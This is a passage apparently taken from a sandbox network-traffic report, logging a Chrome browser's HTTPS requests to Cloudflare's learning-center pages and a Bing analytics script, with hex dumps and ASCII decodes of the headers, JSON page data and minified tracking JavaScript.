cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22
2024-10-18 13:48:15 UTC	1205	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 6b 50 55 42 64 62 52 4e 6f 68 39 45 75 79 78 76 61 74 67 62 44 41 74 47 4e 68 25 32 46 41 38 55 44 36 6a 25 32 42 34 56 42 49 72 39 61 47 52 25 32 42 57 6e 42 73 70 45 33 5a 6f 36 52 67 4c 63 74 58 47 44 52 4c 6c 4a 75 30 4a 35 35 6a 7a 30 67 79 47 49 77 25 32 46 63 39 42 4e 44 6d 79 79 67 78 4d 43 44 52 42 77 63 47 64 41 6d 37 59 66 6a 48 36 75 79 6f 72 42 64 71 46 34 35 52 64 54 48 79 25 32 46 6d 4b 63 69 6a 53 6c 51 6b 37 51 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kPUBdbRNoh9EuyxvatgbDAtGNh%2FA8UD6j%2B4VBIr9aGR%2BWnBspE3Zo6RgLctXGDRLlJu0J55jz0gyGIw%2Fc9BNDmyygxMCDRBwcGdAm7YfjH6uyorBdqF45RdTHy%2FmKcijSlQk7Q%3D%3D"}],"group":"cf-nel","max_a
2024-10-18 13:48:15 UTC	332	IN	Data Raw: 7b 22 65 22 3a 5b 22 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 29 7b 77 2e 7a 61 72 61 7a 44 61 74 61 2e 65 78 65 63 75 74 65 64 2e 70 75 73 68 28 5c 22 41 6c 6c 54 72 61 63 6b 73 5c 22 29 3b 77 2e 7a 61 72 61 7a 44 61 74 61 2e 65 78 65 63 75 74 65 64 2e 70 75 73 68 28 5c 22 4d 5a 78 41 5c 22 29 3b 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 22 2c 22 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 29 7b 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 22 5d 2c 22 66 22 3a 5b 5b 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 73 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 67 2f 63 6f 6c 6c 65 63 74 3f 74 3d 64 63 26 61 69 70 3d 31 26 5f 72 3d 33 26 76 3d 31 26 5f 76 3d 6a 38 36 26 74 69 64 3d 47 2d 50 47 56 31 4b 32 42 4e 34 4d 26 63 69 64 3d Data Ascii: {"e":["(function(w,d){w.zarazData.executed.push(\"AllTracks\");w.zarazData.executed.push(\"MZxA\");})(window,document)","(function(w,d){})(window,document)"],"f":[["https://stats.g.doubleclick.net/g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.8	50863	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:15 UTC	4908	OUT	GET /page-data/learning/access-management/what-is-identity-and-access-management/page-data.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A176079 [TRUNCATED]
2024-10-18 13:48:15 UTC	971	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:15 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"b8971d1310ac9e2956c02d5111cb538b" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RiT%2BNxnMGHsek27d272yHy09x%2BFROwCGEnoGsFkznGiRa47UDA6KOTh7xrn1W01ePf5fw%2FJ5DRmDREOl9%2F1eL6bhnjk%2B%2BzsxYQHMjAmqiIzWIaK3jhU9hWfsmTY9TtYRw%2BBvfw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc25eabd2e19-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 37 66 66 32 0d 0a 7b 22 63 6f 6d 70 6f 6e 65 6e 74 43 68 75 6e 6b 4e 61 6d 65 22 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 6c 65 61 72 6e 69 6e 67 2d 63 65 6e 74 65 72 2d 74 65 6d 70 6c 61 74 65 73 2d 6c 65 61 72 6e 69 6e 67 2d 63 65 6e 74 65 72 2d 61 72 74 69 63 6c 65 2d 74 65 6d 70 6c 61 74 65 2d 74 73 78 22 2c 22 70 61 74 68 22 3a 22 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 77 68 61 74 2d 69 73 2d 69 64 65 6e 74 69 74 79 2d 61 6e 64 2d 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 22 2c 22 72 65 73 75 6c 74 22 3a 7b 22 64 61 74 61 22 3a 7b 22 68 65 61 64 65 72 44 61 74 61 22 3a 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 Data Ascii: 7ff2{"componentChunkName":"component---src-components-learning-center-templates-learning-center-article-template-tsx","path":"/learning/access-management/what-is-identity-and-access-management/","result":{"data":{"headerData":{"contentTypeId":"navNaviga
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 43 79 62 65 72 73 65 63 75 72 69 74 79 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 69 66 69 65 64 20 73 65 63 75 72 69 74 79 20 66 6f 72 20 74 68 65 20 49 6e 74 65 72 6e 65 74 2c 20 65 6d 70 6c 6f 79 65 65 73 20 26 20 6e 65 74 77 6f 72 6b 73 22 2c 22 75 72 6c 22 3a 22 63 79 62 65 72 73 65 63 75 72 69 74 79 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 66 61 6c 73 65 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 Data Ascii: e":"en-US","title":"Cybersecurity","description":"Unified security for the Internet, employees & networks","url":"cybersecurity","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":false},{"contentTypeId":"elementNavLink","content
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 33 34 75 38 64 33 49 48 63 71 43 43 30 65 78 5a 77 57 51 7a 70 6b 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 50 72 6f 74 65 63 74 20 26 20 61 63 63 65 6c 65 72 61 74 65 20 61 70 70 6c 69 63 61 74 69 6f 6e 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6d 62 69 6e 65 20 73 65 63 75 72 69 74 79 20 77 69 74 68 20 70 65 72 66 6f 72 6d 61 6e 63 65 20 66 6f 72 20 70 72 6f 74 65 63 74 69 6e 67 20 77 69 74 68 6f 75 74 20 63 6f 6d 70 72 6f 6d 69 73 65 22 2c 22 75 72 6c 22 3a 22 2f 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 65 72 76 69 63 65 73 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c Data Ascii: ink","contentfulId":"34u8d3IHcqCC0exZwWQzpk","locale":"en-US","title":"Protect & accelerate applications","description":"Combine security with performance for protecting without compromise","url":"/application-services","badges":null,"specialLinkType":nul
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 74 66 75 6c 49 64 22 3a 22 32 79 75 6f 54 31 7a 48 55 77 5a 79 79 64 63 68 36 51 62 54 53 42 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 42 79 20 69 6e 64 75 73 74 72 79 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 36 47 31 66 74 7a 53 35 41 75 6e 62 44 4e 6c 38 6d 66 38 6d 4e 75 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 45 63 6f 6d 6d 65 72 63 65 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 Data Ascii: tfulId":"2yuoT1zHUwZyydch6QbTSB","locale":"en-US","name":"By industry","description":null,"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink","contentfulId":"6G1ftzS5AunbDNl8mf8mNu","locale":"en-US","title":"Ecommerce","description":"For
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 61 72 65 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 6d 65 64 69 63 61 6c 20 69 6e 73 74 69 74 75 74 69 6f 6e 73 20 6f 72 20 73 65 72 76 69 63 65 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 68 65 61 6c 74 68 63 61 72 65 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 36 73 6e 66 76 77 4c 37 35 31 35 42 49 76 7a 53 67 Data Ascii: are","description":"For medical institutions or services","url":"https://www.cloudflare.com/healthcare/","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"6snfvwL7515BIvzSg
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 6c 73 65 2c 22 68 69 64 65 4f 6e 43 68 69 6e 61 53 69 74 65 22 3a 66 61 6c 73 65 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 5d 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 31 42 62 35 36 52 70 74 4e 6e 46 6a 42 59 65 41 47 41 73 73 4e 51 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 50 75 62 6c 69 63 20 69 6e 74 65 72 65 73 74 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b Data Ascii: lse,"hideOnChinaSite":false,"navigationItems":[]},{"contentTypeId":"navNavigationItem","contentfulId":"1Bb56RptNnFjBYeAGAssNQ","locale":"en-US","name":"Public interest","description":null,"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 74 72 75 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 33 4a 71 5a 58 61 6c 46 31 76 57 31 4e 67 38 36 37 31 35 50 46 45 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 45 6c 65 63 74 69 6f 6e 20 63 61 6d 70 61 69 67 6e 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 70 6f 6c 69 74 69 63 61 6c 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 Data Ascii: "specialLinkType":null,"openInNewWindow":true,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"3JqZXalF1vW1Ng86715PFE","locale":"en-US","title":"Election campaigns","description":"For political organizations","url":"https://www.clou
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 6c 6f 79 65 65 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 39 59 38 50 6e 58 34 39 6b 71 4a 73 58 6a 7a 53 73 53 37 33 7a 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 53 41 53 45 20 26 20 53 53 45 20 70 6c 61 74 66 6f 72 6d 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 5a 65 72 6f 20 54 72 75 73 74 20 73 65 63 75 72 69 74 79 20 28 5a 54 4e 41 2c 20 53 57 47 2c 20 43 41 53 42 29 20 26 20 6e 65 74 77 6f 72 6b 20 63 6f 6e 6e 65 63 74 69 76 69 Data Ascii: loyees","description":null,"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink","contentfulId":"9Y8PnX49kqJsXjzSsS73z","locale":"en-US","title":"SASE & SSE platform","description":"Zero Trust security (ZTNA, SWG, CASB) & network connectivi
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 72 6f 64 75 63 74 73 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 5d 2c 22 6e 61 76 49 63 6f 6e 22 3a 6e 75 6c 6c 2c 22 73 68 6f 77 49 63 6f 6e 4f 6e 6c 79 22 3a 66 61 6c 73 65 2c 22 68 69 64 65 4f 6e 43 68 69 6e 61 53 69 74 65 22 3a 66 61 6c 73 65 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 5d 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 36 41 4f 56 39 51 4f 39 73 4a 47 41 73 34 51 33 67 4c 36 6d 67 5a 22 2c 22 6c 6f Data Ascii: roducts","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":null}],"navIcon":null,"showIconOnly":false,"hideOnChinaSite":false,"navigationItems":[]},{"contentTypeId":"navNavigationItem","contentfulId":"6AOV9QO9sJGAs4Q3gL6mgZ","lo
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 47 65 74 20 31 2e 31 2e 31 2e 31 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 34 70 61 78 67 6f 34 53 63 6f 34 59 7a 6b 64 5a 69 41 4c 61 53 4b 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 47 65 74 20 31 2e 31 2e 31 2e 31 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 6e 65 2e 6f 6e 65 2e 6f 6e 65 2e 6f 6e 65 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c Data Ascii: locale":"en-US","name":"Get 1.1.1.1","description":null,"mainLink":{"contentTypeId":"elementNavLink","contentfulId":"4paxgo4Sco4YzkdZiALaSK","locale":"en-US","title":"Get 1.1.1.1","description":null,"url":"https://one.one.one.one/","badges":null,"specialL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.8	50862	150.171.28.10	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:15 UTC	586	OUT	GET /p/insights/s/0.7.48 HTTP/1.1 Host: bat.bing.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: MUID=189DC320AD6765EE3B4ED63CAC9664F7; MR=0
2024-10-18 13:48:15 UTC	1084	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=86400 Content-Length: 35768 Content-Type: application/javascript;charset=utf-8 Last-Modified: Wed, 16 Oct 2024 20:44:49 GMT Accept-Ranges: bytes ETag: "0x8DCEE2360FFAE21" Vary: Accept-Encoding Set-Cookie: MSPTC=WS910u7ZcdIm2rwMjHT2Qsh6qI4oY4DOHuwsOO-GVdc; domain=.bat.bing.com; expires=Wed, 12-Nov-2025 13:48:15 GMT; path=/; Partitioned; secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload x-ms-request-id: f35fc159-c01e-0066-3d92-2061fb000000 x-ms-version: 2018-03-28 access-control-allow-origin: * x-azure-ref: 20241018T134815Z-17b599d4b76zhrptbdvaycq5v40000000c4g0000000035m5 x-fd-int-roxy-purgeid: 51562430 x-cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 10C35BFCC06E405E985B6E7EFE61D1BC Ref B: DFW30EDGE1812 Ref C: 2024-10-18T13:48:15Z Date: Fri, 18 Oct 2024 13:48:15 GMT Connection: close
2024-10-18 13:48:15 UTC	2560	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 6e 75 6c 6c 2c 67 65 74 20 71 75 65 75 65 28 29 7b 72 65 74 75 72 6e 20 71 65 7d 2c 67 65 74 20 73 74 61 72 74 28 29 7b 72 65 74 75 72 6e 20 41 65 7d 2c 67 65 74 20 73 74 6f 70 28 29 7b 72 65 74 75 72 6e 20 57 65 7d 2c 67 65 74 20 74 72 61 63 6b 28 29 7b 72 65 74 75 72 6e 20 53 65 7d 7d 29 2c 65 3d 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 6e 75 6c 6c 2c 67 65 74 20 63 6c 6f 6e 65 28 29 7b 72 65 74 75 72 6e 20 72 6e 7d 2c 67 65 74 20 63 6f 6d 70 75 74 65 28 29 7b 72 65 74 75 72 6e 20 61 6e 7d 2c 67 65 74 20 64 61 74 61 28 29 7b 72 65 74 75 72 6e 20 47 65 7d Data Ascii: !function(){"use strict";var t=Object.freeze({__proto__:null,get queue(){return qe},get start(){return Ae},get stop(){return We},get track(){return Se}}),e=Object.freeze({__proto__:null,get clone(){return rn},get compute(){return an},get data(){return Ge}
2024-10-18 13:48:15 UTC	8192	IN	Data Raw: 63 61 73 65 22 70 6c 61 63 65 68 6f 6c 64 65 72 22 3a 72 65 74 75 72 6e 20 79 28 74 29 7d 62 72 65 61 6b 3b 63 61 73 65 20 34 3a 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 22 2a 54 22 3a 63 61 73 65 22 64 61 74 61 2d 22 3a 72 65 74 75 72 6e 20 72 3f 77 28 74 29 3a 79 28 74 29 3b 63 61 73 65 22 76 61 6c 75 65 22 3a 63 61 73 65 22 69 6e 70 75 74 22 3a 63 61 73 65 22 63 6c 69 63 6b 22 3a 63 61 73 65 22 63 68 61 6e 67 65 22 3a 72 65 74 75 72 6e 20 41 72 72 61 79 28 35 29 2e 6a 6f 69 6e 28 22 e2 80 a2 22 29 3b 63 61 73 65 22 63 68 65 63 6b 73 75 6d 22 3a 72 65 74 75 72 6e 22 22 7d 62 72 65 61 6b 3b 63 61 73 65 20 35 3a 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 22 2a 54 22 3a 63 61 73 65 22 64 61 74 61 2d 22 3a 72 65 74 75 72 6e 20 62 28 74 2c 22 e2 96 aa 22 2c Data Ascii: case"placeholder":return y(t)}break;case 4:switch(e){case"T":case"data-":return r?w(t):y(t);case"value":case"input":case"click":case"change":return Array(5).join("");case"checksum":return""}break;case 5:switch(e){case"T":case"data-":return b(t,"",
2024-10-18 13:48:15 UTC	4860	IN	Data Raw: 3a 6e 2e 70 75 73 68 28 75 2e 69 64 29 2c 75 2e 70 61 72 65 6e 74 26 26 6e 2e 70 75 73 68 28 75 2e 70 61 72 65 6e 74 29 2c 75 2e 70 72 65 76 69 6f 75 73 26 26 6e 2e 70 75 73 68 28 75 2e 70 72 65 76 69 6f 75 73 29 2c 6e 2e 70 75 73 68 28 6c 5b 66 5d 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 61 74 74 72 69 62 75 74 65 73 22 3a 66 6f 72 28 70 20 69 6e 20 6c 5b 66 5d 29 76 6f 69 64 20 30 21 3d 3d 6c 5b 66 5d 5b 70 5d 26 26 6e 2e 70 75 73 68 28 5f 74 28 70 2c 6c 5b 66 5d 5b 70 5d 2c 63 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 76 61 6c 75 65 22 3a 6e 2e 70 75 73 68 28 76 28 6c 5b 66 5d 2c 6c 2e 74 61 67 2c 63 29 29 7d 71 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 6e 3d 7b 7d 2c 72 3d 30 2c 61 3d 6e 75 6c 6c 2c 69 3d 30 3b 69 Data Ascii: :n.push(u.id),u.parent&&n.push(u.parent),u.previous&&n.push(u.previous),n.push(l[f]);break;case"attributes":for(p in l[f])void 0!==l[f][p]&&n.push(_t(p,l[f][p],c));break;case"value":n.push(v(l[f],l.tag,c))}qe(function(t){for(var e=[],n={},r=0,a=null,i=0;i
2024-10-18 13:48:15 UTC	8192	IN	Data Raw: 65 3d 3d 3d 4e 6f 64 65 2e 54 45 58 54 5f 4e 4f 44 45 26 26 28 61 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 29 2c 61 7d 66 75 6e 63 74 69 6f 6e 20 5a 74 28 74 29 7b 48 74 28 62 65 2e 62 69 6e 64 28 74 68 69 73 2c 74 29 29 7d 76 61 72 20 4b 74 2c 51 74 2c 24 74 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 74 65 28 74 29 7b 24 74 2e 70 75 73 68 28 7b 74 69 6d 65 3a 73 28 74 29 2c 65 76 65 6e 74 3a 33 39 2c 64 61 74 61 3a 7b 74 61 72 67 65 74 3a 66 65 28 74 29 7d 7d 29 2c 48 74 28 62 65 2e 62 69 6e 64 28 74 68 69 73 2c 33 39 29 29 7d 66 75 6e 63 74 69 6f 6e 20 65 65 28 29 7b 24 74 3d 5b 5d 7d 66 75 6e 63 74 69 6f 6e 20 6e 65 28 74 29 7b 4b 74 3d 7b 6e 61 6d 65 3a 74 2e 74 79 70 65 7d 2c 62 65 28 32 36 2c 73 28 74 29 29 2c 70 72 28 29 7d 66 75 6e 63 74 69 6f 6e 20 72 Data Ascii: e===Node.TEXT_NODE&&(a=a.parentNode),a}function Zt(t){Ht(be.bind(this,t))}var Kt,Qt,$t=[];function 